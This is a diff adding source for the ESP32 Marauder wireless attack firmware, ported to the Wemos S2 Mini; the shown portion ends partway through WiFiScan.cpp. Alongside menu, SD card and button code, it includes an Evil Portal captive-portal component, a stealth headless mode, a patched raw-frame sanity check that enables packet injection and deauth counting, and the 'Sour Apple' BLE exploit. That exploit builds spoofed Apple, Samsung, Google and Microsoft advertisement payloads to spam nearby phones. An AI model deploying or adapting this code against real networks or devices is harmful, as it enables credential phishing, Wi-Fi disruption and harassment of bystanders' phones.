+ MenuFunctions();
+
+ Menu* current_menu;
+ Menu clearSSIDsMenu;
+ Menu clearAPsMenu;
+
+ // Save Files Menu
+ Menu saveSSIDsMenu;
+ Menu loadSSIDsMenu;
+ Menu saveAPsMenu;
+ Menu loadAPsMenu;
+
+ #ifdef HAS_GPS
+ // GPS Menu
+ Menu gpsInfoMenu;
+ #endif
+
+ Ticker tick;
+
+ uint16_t x = -1, y = -1;
+ boolean pressed = false;
+
+ bool disable_touch;
+
+ String loaded_file = "";
+
+ void initLVGL();
+ void deinitLVGL();
+ void selectEPHTMLGFX();
+ void updateStatusBar();
+ void addSSIDGFX();
+ void addAPGFX();
+ void addStationGFX();
+ void buildButtons(Menu* menu, int starting_index = 0, String button_name = "");
+ void changeMenu(Menu* menu);
+ void drawStatusBar();
+ void displayCurrentMenu(uint8_t start_index = 0);
+ void main(uint32_t currentTime);
+ void RunSetup();
+ void orientDisplay();
+};
+
+
+#endif
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/S2Mini_esp32_v1.0.0_marauder.ino b/S2Mini_esp32_v1.0.0_marauder/S2Mini_esp32_v1.0.0_marauder.ino
new file mode 100644
index 0000000..7ffb3cf
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/S2Mini_esp32_v1.0.0_marauder.ino
@@ -0,0 +1,428 @@
+/* FLASH SETTINGS
+Board: LOLIN D32
+Flash Frequency: 80MHz
+Partition Scheme: Minimal SPIFFS
+https://www.online-utility.org/image/convert/to/XBM
+*/
+
+#include "configs.h"
+
+#ifndef HAS_SCREEN
+ #define MenuFunctions_h
+ #define Display_h
+#endif
+
+#include
+#include "EvilPortal.h"
+#include
+#include "esp_wifi.h"
+#include "esp_wifi_types.h"
+#include
+#include "freertos/FreeRTOS.h"
+#include "freertos/task.h"
+#include "esp_system.h"
+#include
+
+#ifdef HAS_GPS
+ #include "GpsInterface.h"
+#endif
+
+#include "Assets.h"
+#include "WiFiScan.h"
+#ifdef HAS_SD
+ #include "SDInterface.h"
+#endif
+#include "Buffer.h"
+
+#ifdef MARAUDER_FLIPPER
+ #include "flipperLED.h"
+#elif defined(XIAO_ESP32_S3)
+ #include "xiaoLED.h"
+#elif defined(MARAUDER_M5STICKC)
+ #include "stickcLED.h"
+#elif defined(HAS_NEOPIXEL_LED)
+ #include "LedInterface.h"
+#endif
+
+#include "settings.h"
+#include "CommandLine.h"
+#include "lang_var.h"
+
+#ifdef HAS_BATTERY
+ #include "BatteryInterface.h"
+#endif
+
+#ifdef HAS_SCREEN
+ #include "Display.h"
+ #include "MenuFunctions.h"
+#endif
+
+#ifdef HAS_BUTTONS
+ #include "Switches.h"
+
+ #if (U_BTN >= 0)
+ Switches u_btn = Switches(U_BTN, 1000, U_PULL);
+ #endif
+ #if (D_BTN >= 0)
+ Switches d_btn = Switches(D_BTN, 1000, D_PULL);
+ #endif
+ #if (L_BTN >= 0)
+ Switches l_btn = Switches(L_BTN, 1000, L_PULL);
+ #endif
+ #if (R_BTN >= 0)
+ Switches r_btn = Switches(R_BTN, 1000, R_PULL);
+ #endif
+ #if (C_BTN >= 0)
+ Switches c_btn = Switches(C_BTN, 1000, C_PULL);
+ #endif
+
+#endif
+
+WiFiScan wifi_scan_obj;
+EvilPortal evil_portal_obj;
+Buffer buffer_obj;
+Settings settings_obj;
+CommandLine cli_obj;
+
+#ifdef HAS_GPS
+ GpsInterface gps_obj;
+#endif
+
+#ifdef HAS_BATTERY
+ BatteryInterface battery_obj;
+#endif
+
+#ifdef HAS_SCREEN
+ Display display_obj;
+ MenuFunctions menu_function_obj;
+#endif
+
+#ifdef HAS_SD
+ SDInterface sd_obj;
+#endif
+
+#ifdef MARAUDER_M5STICKC
+ AXP192 axp192_obj;
+#endif
+
+#ifdef MARAUDER_FLIPPER
+ flipperLED flipper_led;
+#elif defined(XIAO_ESP32_S3)
+ xiaoLED xiao_led;
+#elif defined(MARAUDER_M5STICKC)
+ stickcLED stickc_led;
+#else
+ LedInterface led_obj;
+#endif
+
+const String PROGMEM version_number = MARAUDER_VERSION;
+
+#ifdef HAS_NEOPIXEL_LED
+ Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
+#endif
+
+uint32_t currentTime = 0;
+
+
+void backlightOn() {
+ #ifdef HAS_SCREEN
+ #ifdef MARAUDER_MINI
+ digitalWrite(TFT_BL, LOW);
+ #endif
+
+ #ifndef MARAUDER_MINI
+ digitalWrite(TFT_BL, HIGH);
+ #endif
+ #endif
+}
+
+void backlightOff() {
+ #ifdef HAS_SCREEN
+ #ifdef MARAUDER_MINI
+ digitalWrite(TFT_BL, HIGH);
+ #endif
+
+ #ifndef MARAUDER_MINI
+ digitalWrite(TFT_BL, LOW);
+ #endif
+ #endif
+}
+
+
+void setup()
+{
+ #ifdef MARAUDER_M5STICKC
+ axp192_obj.begin();
+ #endif
+
+ #ifdef HAS_SCREEN
+ pinMode(TFT_BL, OUTPUT);
+ #endif
+
+ backlightOff();
+#if BATTERY_ANALOG_ON == 1
+ pinMode(BATTERY_PIN, OUTPUT);
+ pinMode(CHARGING_PIN, INPUT);
+#endif
+
+ // Preset SPI CS pins to avoid bus conflicts
+ #ifdef HAS_SCREEN
+ digitalWrite(TFT_CS, HIGH);
+ #endif
+
+ #ifdef HAS_SD
+ pinMode(SD_CS, OUTPUT);
+
+ delay(10);
+
+ digitalWrite(SD_CS, HIGH);
+
+ delay(10);
+ #endif
+
+ Serial.begin(115200, SERIAL_8N1, 17, 18); // modified to work with Wemos S2 MINI board moving UART PIN to GPIO17 as RX and GPIO18 as TX
+
+ Serial.println("ESP-IDF version is: " + String(esp_get_idf_version()));
+
+ #ifdef HAS_SCREEN
+ display_obj.RunSetup();
+ display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
+ #endif
+
+ backlightOff();
+
+ // Draw the title screen
+ /*
+ #ifdef HAS_SCREEN
+ #ifndef MARAUDER_MINI
+ display_obj.drawJpeg("/marauder3L.jpg", 0 , 0); // 240 x 320 image
+ #else
+ display_obj.drawJpeg("/marauder3L.jpg", 0, 0);
+ #endif
+ #endif
+ */
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.drawCentreString("ESP32 Marauder", TFT_WIDTH/2, TFT_HEIGHT * 0.33, 1);
+ display_obj.tft.drawCentreString("JustCallMeKoko", TFT_WIDTH/2, TFT_HEIGHT * 0.5, 1);
+ display_obj.tft.drawCentreString(display_obj.version_number, TFT_WIDTH/2, TFT_HEIGHT * 0.66, 1);
+ #endif
+
+
+ backlightOn(); // Need this
+
+ #ifdef HAS_SCREEN
+ delay(2000);
+
+ // Do some stealth mode stuff
+ #ifdef HAS_BUTTONS
+ if (c_btn.justPressed()) {
+ display_obj.headless_mode = true;
+
+ backlightOff();
+
+ Serial.println("Headless Mode enabled");
+ }
+ #endif
+
+ display_obj.clearScreen();
+
+ display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+
+ display_obj.tft.println(text_table0[0]);
+
+ delay(2000);
+
+ display_obj.tft.println("Marauder " + display_obj.version_number + "\n");
+
+ display_obj.tft.println(text_table0[1]);
+ #endif
+
+ settings_obj.begin();
+
+ wifi_scan_obj.RunSetup();
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table0[2]));
+ #endif
+
+ buffer_obj = Buffer();
+ #if defined(HAS_SD)
+ // Do some SD stuff
+ if(sd_obj.initSD()) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table0[3]));
+ #endif
+ } else {
+ Serial.println(F("SD Card NOT Supported"));
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
+ display_obj.tft.println(F(text_table0[4]));
+ display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+ #endif
+ }
+ #endif
+
+ evil_portal_obj.setup();
+
+ #ifdef HAS_BATTERY
+ battery_obj.RunSetup();
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table0[5]));
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table0[6]));
+ #endif
+
+ #ifdef HAS_BATTERY
+ battery_obj.battery_level = battery_obj.getBatteryLevel();
+ #endif
+
+ // Do some LED stuff
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.RunSetup();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.RunSetup();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.RunSetup();
+ #else
+ led_obj.RunSetup();
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table0[7]));
+
+ delay(500);
+ #endif
+
+ #ifdef HAS_GPS
+ gps_obj.begin();
+ #ifdef HAS_SCREEN
+ if (gps_obj.getGpsModuleStatus())
+ display_obj.tft.println("GPS Module connected");
+ else
+ display_obj.tft.println("GPS Module NOT connected");
+ #endif
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table0[8]));
+
+ display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
+
+ delay(2000);
+ #endif
+
+ #ifdef HAS_SCREEN
+ menu_function_obj.RunSetup();
+ #endif
+
+ Serial.println(F("CLI Ready"));
+ cli_obj.RunSetup();
+}
+
+
+void loop()
+{
+ currentTime = millis();
+ bool mini = false;
+
+ #ifdef SCREEN_BUFFER
+ mini = true;
+ #endif
+
+ #ifdef HAS_ILI9341
+ #ifdef HAS_BUTTONS
+ if (c_btn.isHeld()) {
+ if (menu_function_obj.disable_touch)
+ menu_function_obj.disable_touch = false;
+ else
+ menu_function_obj.disable_touch = true;
+
+ menu_function_obj.updateStatusBar();
+
+ while (!c_btn.justReleased())
+ delay(1);
+ }
+ #endif
+ #endif
+
+ // Update all of our objects
+ /*#ifdef HAS_SCREEN
+ bool do_draw = display_obj.draw_tft;
+ #else
+ bool do_draw = false;
+ #endif*/
+
+ //if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
+ //{
+ cli_obj.main(currentTime);
+ #ifdef HAS_SCREEN
+ display_obj.main(wifi_scan_obj.currentScanMode);
+ #endif
+ wifi_scan_obj.main(currentTime);
+ //evil_portal_obj.main(wifi_scan_obj.currentScanMode);
+
+ #ifdef HAS_GPS
+ gps_obj.main();
+ #endif
+
+ // Detect SD card
+ #if defined(HAS_SD)
+ sd_obj.main();
+ #endif
+
+ // Save buffer to SD and/or serial
+ buffer_obj.save();
+
+ #ifdef HAS_BATTERY
+ battery_obj.main(currentTime);
+ //temp_obj.main(currentTime);
+ #endif
+ settings_obj.main(currentTime);
+ if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
+ (mini)) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.main(currentTime);
+ #endif
+ //cli_obj.main(currentTime);
+ }
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.main();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.main();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.main();
+ #else
+ led_obj.main(currentTime);
+ #endif
+
+ //if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
+ // web_obj.main();
+ #ifdef HAS_SCREEN
+ delay(1);
+ #else
+ delay(50);
+ #endif
+ //}
+ /*else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
+ #ifdef HAS_SCREEN
+ display_obj.main(wifi_scan_obj.currentScanMode);
+ menu_function_obj.main(currentTime);
+ #endif
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.main();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.main();
+ #else
+ led_obj.main(currentTime);
+ #endif
+
+ //cli_obj.main(currentTime);
+ delay(1);
+ }*/
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/SDInterface.cpp b/S2Mini_esp32_v1.0.0_marauder/SDInterface.cpp
new file mode 100644
index 0000000..c5a769e
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/SDInterface.cpp
@@ -0,0 +1,302 @@
+#include "SDInterface.h"
+#include "lang_var.h"
+
+
+bool SDInterface::initSD() {
+ #ifdef HAS_SD
+ String display_string = "";
+
+ #ifdef KIT
+ pinMode(SD_DET, INPUT);
+ if (digitalRead(SD_DET) == LOW) {
+ Serial.println(F("SD Card Detect Pin Detected"));
+ }
+ else {
+ Serial.println(F("SD Card Detect Pin Not Detected"));
+ this->supported = false;
+ return false;
+ }
+ #endif
+
+ pinMode(SD_CS, OUTPUT);
+
+ delay(10);
+ #if defined(MARAUDER_M5STICKC)
+ /* Set up SPI SD Card using external pin header
+ StickCPlus Header - SPI SD Card Reader
+ 3v3 - 3v3
+ GND - GND
+ G0 - CLK
+ G36/G25 - MISO
+ G26 - MOSI
+ - CS (jumper to SD Card GND Pin)
+ */
+ enum { SPI_SCK = 0, SPI_MISO = 36, SPI_MOSI = 26 };
+ this->spiExt = new SPIClass();
+ this->spiExt->begin(SPI_SCK, SPI_MISO, SPI_MOSI, SD_CS);
+ if (!SD.begin(SD_CS, *(this->spiExt))) {
+ #else
+ if (!SD.begin(SD_CS)) {
+ #endif
+ Serial.println(F("Failed to mount SD Card"));
+ this->supported = false;
+ return false;
+ }
+ else {
+ this->supported = true;
+ this->cardType = SD.cardType();
+ //if (cardType == CARD_MMC)
+ // Serial.println(F("SD: MMC Mounted"));
+ //else if(cardType == CARD_SD)
+ // Serial.println(F("SD: SDSC Mounted"));
+ //else if(cardType == CARD_SDHC)
+ // Serial.println(F("SD: SDHC Mounted"));
+ //else
+ // Serial.println(F("SD: UNKNOWN Card Mounted"));
+
+ this->cardSizeMB = SD.cardSize() / (1024 * 1024);
+
+ //Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
+
+ if (this->supported) {
+ const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
+
+ char sz[NUM_DIGITS + 1];
+
+ sz[NUM_DIGITS] = 0;
+ for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
+ {
+ sz[i] = '0' + (this->cardSizeMB % 10);
+ display_string.concat((String)sz[i]);
+ }
+
+ this->card_sz = sz;
+ }
+
+ if (!SD.exists("/SCRIPTS")) {
+ Serial.println("/SCRIPTS does not exist. Creating...");
+
+ SD.mkdir("/SCRIPTS");
+ Serial.println("/SCRIPTS created");
+ }
+
+ this->sd_files = new LinkedList();
+
+ this->sd_files->add("Back");
+
+ return true;
+ }
+
+ #else
+ Serial.println("SD support disabled, skipping init");
+ return false;
+ #endif
+}
+
+File SDInterface::getFile(String path) {
+ if (this->supported) {
+ File file = SD.open(path, FILE_READ);
+
+ //if (file)
+ return file;
+ }
+}
+
+bool SDInterface::removeFile(String file_path) {
+ if (SD.remove(file_path))
+ return true;
+ else
+ return false;
+}
+
+void SDInterface::listDirToLinkedList(LinkedList* file_names, String str_dir, String ext) {
+ if (this->supported) {
+ File dir = SD.open(str_dir);
+ while (true)
+ {
+ File entry = dir.openNextFile();
+ if (!entry)
+ {
+ break;
+ }
+
+ if (entry.isDirectory())
+ continue;
+
+ String file_name = entry.name();
+ if (ext != "") {
+ if (file_name.endsWith(ext)) {
+ file_names->add(file_name);
+ }
+ }
+ else
+ file_names->add(file_name);
+ }
+ }
+}
+
+void SDInterface::listDir(String str_dir){
+ if (this->supported) {
+ File dir = SD.open(str_dir);
+ while (true)
+ {
+ File entry = dir.openNextFile();
+ if (! entry)
+ {
+ break;
+ }
+ //for (uint8_t i = 0; i < numTabs; i++)
+ //{
+ // Serial.print('\t');
+ //}
+ Serial.print(entry.name());
+ Serial.print("\t");
+ Serial.println(entry.size());
+ entry.close();
+ }
+ }
+}
+
+void SDInterface::runUpdate() {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, TFT_HEIGHT / 3);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_WHITE);
+
+ display_obj.tft.println(F(text15));
+ #endif
+ File updateBin = SD.open("/update.bin");
+ if (updateBin) {
+ if(updateBin.isDirectory()){
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_RED);
+ display_obj.tft.println(F(text_table2[0]));
+ #endif
+ Serial.println(F("Error, could not find \"update.bin\""));
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_WHITE);
+ #endif
+ updateBin.close();
+ return;
+ }
+
+ size_t updateSize = updateBin.size();
+
+ if (updateSize > 0) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table2[1]));
+ #endif
+ Serial.println(F("Starting update over SD. Please wait..."));
+ this->performUpdate(updateBin, updateSize);
+ }
+ else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_RED);
+ display_obj.tft.println(F(text_table2[2]));
+ #endif
+ Serial.println(F("Error, file is empty"));
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_WHITE);
+ #endif
+ return;
+ }
+
+ updateBin.close();
+
+ // whe finished remove the binary from sd card to indicate end of the process
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table2[3]));
+ #endif
+ Serial.println(F("rebooting..."));
+ //SD.remove("/update.bin");
+ delay(1000);
+ ESP.restart();
+ }
+ else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_RED);
+ display_obj.tft.println(F(text_table2[4]));
+ #endif
+ Serial.println(F("Could not load update.bin from sd root"));
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_WHITE);
+ #endif
+ }
+}
+
+void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
+ if (Update.begin(updateSize)) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table2[5] + String(updateSize));
+ display_obj.tft.println(F(text_table2[6]));
+ #endif
+ size_t written = Update.writeStream(updateSource);
+ if (written == updateSize) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
+ #endif
+ Serial.println("Written : " + String(written) + " successfully");
+ }
+ else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
+ #endif
+ Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
+ }
+ if (Update.end()) {
+ Serial.println("OTA done!");
+ if (Update.isFinished()) {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(F(text_table2[11]));
+ #endif
+ Serial.println(F("Update successfully completed. Rebooting."));
+ }
+ else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_RED);
+ display_obj.tft.println(text_table2[12]);
+ #endif
+ Serial.println("Update not finished? Something went wrong!");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_WHITE);
+ #endif
+ }
+ }
+ else {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table2[13] + String(Update.getError()));
+ #endif
+ Serial.println("Error Occurred. Error #: " + String(Update.getError()));
+ }
+
+ }
+ else
+ {
+ #ifdef HAS_SCREEN
+ display_obj.tft.println(text_table2[14]);
+ #endif
+ Serial.println("Not enough space to begin OTA");
+ }
+}
+
+bool SDInterface::checkDetectPin() {
+ #ifdef KIT
+ if (digitalRead(SD_DET) == LOW)
+ return true;
+ else
+ return false;
+ #endif
+
+ return false;
+}
+
+void SDInterface::main() {
+ if (!this->supported) {
+ if (checkDetectPin()) {
+ delay(100);
+ this->initSD();
+ }
+ }
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/SDInterface.h b/S2Mini_esp32_v1.0.0_marauder/SDInterface.h
new file mode 100644
index 0000000..eda62ba
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/SDInterface.h
@@ -0,0 +1,57 @@
+#pragma once
+
+#ifndef SDInterface_h
+#define SDInterface_h
+
+#include "configs.h"
+
+#include "settings.h"
+#include "SD.h"
+#include "Buffer.h"
+#ifdef HAS_SCREEN
+ #include "Display.h"
+#endif
+#include
+
+extern Buffer buffer_obj;
+extern Settings settings_obj;
+#ifdef HAS_SCREEN
+ extern Display display_obj;
+#endif
+
+#ifdef KIT
+ #define SD_DET 4
+#endif
+
+class SDInterface {
+
+ private:
+#if defined(MARAUDER_M5STICKC)
+ SPIClass *spiExt;
+#endif
+ bool checkDetectPin();
+
+ public:
+ uint8_t cardType;
+ //uint64_t cardSizeBT;
+ //uint64_t cardSizeKB;
+ uint64_t cardSizeMB;
+ //uint64_t cardSizeGB;
+ bool supported = false;
+
+ String card_sz;
+
+ bool initSD();
+
+ LinkedList* sd_files;
+
+ void listDir(String str_dir);
+ void listDirToLinkedList(LinkedList* file_names, String str_dir = "/", String ext = "");
+ File getFile(String path);
+ void runUpdate();
+ void performUpdate(Stream &updateSource, size_t updateSize);
+ void main();
+ bool removeFile(String file_path);
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/Switches.cpp b/S2Mini_esp32_v1.0.0_marauder/Switches.cpp
new file mode 100644
index 0000000..b0c68dd
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/Switches.cpp
@@ -0,0 +1,98 @@
+#include "Switches.h"
+
+Switches::Switches() {
+ this->pin = 0;
+ this->pin = false;
+ this->pressed = false;
+ this->hold_lim = 2000;
+ this->cur_hold = 0;
+ this->isheld = false;
+
+ pinMode(this->pin, INPUT);
+
+ return;
+}
+
+Switches::Switches(int pin, uint32_t hold_lim, bool pullup) {
+ this->pin = pin;
+ this->pullup = pullup;
+ this->pressed = false;
+ this->hold_lim = hold_lim;
+ this->cur_hold = 0;
+ this->isheld = false;
+
+ if (pullup)
+ pinMode(this->pin, INPUT_PULLUP);
+ else
+ pinMode(this->pin, INPUT_PULLDOWN);
+
+ return;
+}
+
+int Switches::getPin() {
+ return this->pin;
+}
+
+bool Switches::getPullup() {
+ return this->pullup;
+}
+
+bool Switches::isHeld() {
+ return this->isheld;
+}
+
+bool Switches::getButtonState() {
+ int buttonState = digitalRead(this->pin);
+
+ if ((this->pullup) && (buttonState == LOW))
+ return true;
+ else if ((!this->pullup) && (buttonState == HIGH))
+ return true;
+ else
+ return false;
+}
+
+bool Switches::justPressed() {
+ bool btn_state = this->getButtonState();
+
+ // Button was JUST pressed
+ if (btn_state && !this->pressed) {
+ this->hold_init = millis();
+ this->pressed = btn_state;
+ return true;
+ }
+ else if (btn_state) { // Button is STILL pressed
+ // Check if button is held
+ //Serial.println("cur_hold: " + (String)this->cur_hold);
+ if ((millis() - this->hold_init) < this->hold_lim) {
+ this->isheld = false;
+ }
+ else {
+ this->isheld = true;
+ }
+
+ this->pressed = btn_state;
+ return false;
+ }
+ else { // Button is not pressed
+ this->pressed = btn_state;
+ this->isheld = false;
+ return false;
+ }
+}
+
+bool Switches::justReleased() {
+ bool btn_state = this->getButtonState();
+
+ // Button was JUST released
+ if (!btn_state && this->pressed) {
+ this->isheld = false;
+ this->pressed = btn_state;
+ return true;
+ }
+ else { // Button is STILL released
+ this->pressed = btn_state;
+ return false;
+ }
+
+}
\ No newline at end of file
diff --git a/S2Mini_esp32_v1.0.0_marauder/Switches.h b/S2Mini_esp32_v1.0.0_marauder/Switches.h
new file mode 100644
index 0000000..8955709
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/Switches.h
@@ -0,0 +1,35 @@
+#ifndef Switches_h
+#define Switches_h
+
+#include
+
+class Switches {
+ private:
+ int pin;
+ uint32_t hold_lim;
+ uint32_t cur_hold;
+
+ uint32_t hold_init = millis();
+
+ bool isheld;
+
+ bool pullup;
+
+ bool pressed;
+
+ bool getButtonState();
+
+ public:
+ Switches();
+
+ Switches(int pin, uint32_t hold_lim, bool pullup);
+
+ int getPin();
+ bool getPullup();
+
+ bool justPressed();
+ bool justReleased();
+ bool isHeld();
+};
+
+#endif
\ No newline at end of file
diff --git a/S2Mini_esp32_v1.0.0_marauder/WiFiScan.cpp b/S2Mini_esp32_v1.0.0_marauder/WiFiScan.cpp
new file mode 100644
index 0000000..148ccf7
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/WiFiScan.cpp
@@ -0,0 +1,4983 @@
+#include "WiFiScan.h"
+#include "lang_var.h"
+
+int num_beacon = 0;
+int num_deauth = 0;
+int num_probe = 0;
+int num_eapol = 0;
+
+LinkedList* ssids;
+LinkedList* access_points;
+LinkedList* stations;
+
+extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
+ if (arg == 31337)
+ return 1;
+ else
+ return 0;
+}
+
+extern "C" {
+ uint8_t esp_base_mac_addr[6];
+ esp_err_t esp_ble_gap_set_rand_addr(const uint8_t *rand_addr);
+}
+
+#ifdef HAS_BT
+ //ESP32 Sour Apple by RapierXbox
+ //Exploit by ECTO-1A
+ NimBLEAdvertising *pAdvertising;
+
+ //// https://github.com/Spooks4576
+ NimBLEAdvertisementData WiFiScan::GetUniversalAdvertisementData(EBLEPayloadType Type) {
+ NimBLEAdvertisementData AdvData = NimBLEAdvertisementData();
+
+ uint8_t* AdvData_Raw = nullptr;
+ uint8_t i = 0;
+
+ switch (Type) {
+ case Microsoft: {
+
+ const char* Name = this->generateRandomName();
+
+ uint8_t name_len = strlen(Name);
+
+ AdvData_Raw = new uint8_t[7 + name_len];
+
+ AdvData_Raw[i++] = 7 + name_len - 1;
+ AdvData_Raw[i++] = 0xFF;
+ AdvData_Raw[i++] = 0x06;
+ AdvData_Raw[i++] = 0x00;
+ AdvData_Raw[i++] = 0x03;
+ AdvData_Raw[i++] = 0x00;
+ AdvData_Raw[i++] = 0x80;
+ memcpy(&AdvData_Raw[i], Name, name_len);
+ i += name_len;
+
+ AdvData.addData(std::string((char *)AdvData_Raw, 7 + name_len));
+ break;
+ }
+ case Apple: {
+ AdvData_Raw = new uint8_t[17];
+
+ AdvData_Raw[i++] = 17 - 1; // Packet Length
+ AdvData_Raw[i++] = 0xFF; // Packet Type (Manufacturer Specific)
+ AdvData_Raw[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
+ AdvData_Raw[i++] = 0x00; // ...
+ AdvData_Raw[i++] = 0x0F; // Type
+ AdvData_Raw[i++] = 0x05; // Length
+ AdvData_Raw[i++] = 0xC1; // Action Flags
+ const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
+ AdvData_Raw[i++] = types[rand() % sizeof(types)]; // Action Type
+ esp_fill_random(&AdvData_Raw[i], 3); // Authentication Tag
+ i += 3;
+ AdvData_Raw[i++] = 0x00; // ???
+ AdvData_Raw[i++] = 0x00; // ???
+ AdvData_Raw[i++] = 0x10; // Type ???
+ esp_fill_random(&AdvData_Raw[i], 3);
+
+ AdvData.addData(std::string((char *)AdvData_Raw, 17));
+ break;
+ }
+ case Samsung: {
+
+ AdvData_Raw = new uint8_t[15];
+
+ uint8_t model = watch_models[rand() % 25].value;
+
+ AdvData_Raw[i++] = 14; // Size
+ AdvData_Raw[i++] = 0xFF; // AD Type (Manufacturer Specific)
+ AdvData_Raw[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
+ AdvData_Raw[i++] = 0x00; // ...
+ AdvData_Raw[i++] = 0x01;
+ AdvData_Raw[i++] = 0x00;
+ AdvData_Raw[i++] = 0x02;
+ AdvData_Raw[i++] = 0x00;
+ AdvData_Raw[i++] = 0x01;
+ AdvData_Raw[i++] = 0x01;
+ AdvData_Raw[i++] = 0xFF;
+ AdvData_Raw[i++] = 0x00;
+ AdvData_Raw[i++] = 0x00;
+ AdvData_Raw[i++] = 0x43;
+ AdvData_Raw[i++] = (model >> 0x00) & 0xFF; // Watch Model / Color (?)
+
+ AdvData.addData(std::string((char *)AdvData_Raw, 15));
+
+ break;
+ }
+ case Google: {
+ AdvData_Raw = new uint8_t[14];
+ AdvData_Raw[i++] = 3;
+ AdvData_Raw[i++] = 0x03;
+ AdvData_Raw[i++] = 0x2C; // Fast Pair ID
+ AdvData_Raw[i++] = 0xFE;
+
+ AdvData_Raw[i++] = 6;
+ AdvData_Raw[i++] = 0x16;
+ AdvData_Raw[i++] = 0x2C; // Fast Pair ID
+ AdvData_Raw[i++] = 0xFE;
+ AdvData_Raw[i++] = 0x00; // Smart Controller Model ID
+ AdvData_Raw[i++] = 0xB7;
+ AdvData_Raw[i++] = 0x27;
+
+ AdvData_Raw[i++] = 2;
+ AdvData_Raw[i++] = 0x0A;
+ AdvData_Raw[i++] = (rand() % 120) - 100; // -100 to +20 dBm
+
+ AdvData.addData(std::string((char *)AdvData_Raw, 14));
+ break;
+ }
+ default: {
+ Serial.println("Please Provide a Company Type");
+ break;
+ }
+ }
+
+ delete[] AdvData_Raw;
+
+ return AdvData;
+ }
+ //// https://github.com/Spooks4576
+
+
+ class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
+
+ void onResult(BLEAdvertisedDevice *advertisedDevice) {
+
+ extern WiFiScan wifi_scan_obj;
+
+ //#ifdef HAS_SCREEN
+ // int buf = display_obj.display_buffer->size();
+ //#else
+ int buf = 0;
+ //#endif
+
+ String display_string = "";
+
+ if (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) {
+ if (buf >= 0)
+ {
+ display_string.concat(text_table4[0]);
+ display_string.concat(advertisedDevice->getRSSI());
+ Serial.print(" RSSI: ");
+ Serial.print(advertisedDevice->getRSSI());
+
+ display_string.concat(" ");
+ Serial.print(" ");
+
+ Serial.print("Device: ");
+ if(advertisedDevice->getName().length() != 0)
+ {
+ display_string.concat(advertisedDevice->getName().c_str());
+ Serial.print(advertisedDevice->getName().c_str());
+
+ }
+ else
+ {
